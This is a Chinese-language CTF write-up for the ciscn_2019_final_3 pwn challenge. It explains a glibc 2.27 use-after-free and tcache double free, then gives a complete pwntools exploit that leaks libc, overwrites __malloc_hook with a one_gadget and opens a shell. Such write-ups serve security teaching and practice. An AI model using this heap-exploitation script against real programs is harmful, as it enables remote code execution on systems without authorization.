【pwn】 ciscn_2019_final_3

例行檢查
在這裏插入圖片描述保護全開,分析程序。
add函數
在這裏插入圖片描述
只能申請小於0x78大小的chunk,chunk數量不能超過24個,且題目給了申請到內存空間的地址。

free函數
在這裏插入圖片描述
free後指針沒有置0,且libc是2.27的,存在tcache dup。唯一問題就在於如何得到libc的地址。泄露libc地址一般通過unsortbin,存在tcache的情況下,64位程序需要申請超過0x400大小chunk,free之後才能進unsortbin,所以只能通過修改chunksize,其次要得到libc地址必須要分配到這塊地方題目才能給你打印出來,通過overlap可以將在tcache中的fd部分變爲unsortbin的fd部分,從而分配到libc地址上空間。

from pwn import *

io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc.so.6')

def add(idx,size,data):
    io.recvuntil('choice > ')
    io.sendline('1')
    io.recvuntil('the index')
    io.sendline(str(idx))
    io.recvuntil('the size')
    io.sendline(str(size))
    io.recvuntil('something')
    io.sendline(data)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def free(idx):
    io.recvuntil('choice > ')
    io.sendline('2')
    io.recvuntil('the index')
    io.sendline(str(idx))   

heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup 
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改爲chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超過0x400才能進unsortbin

#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7  從unsortbin分下一塊,後面依然在unsortbin裏 chunk1->fd=libc
add(17,0x18,'f')#8  get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9   get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')

io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章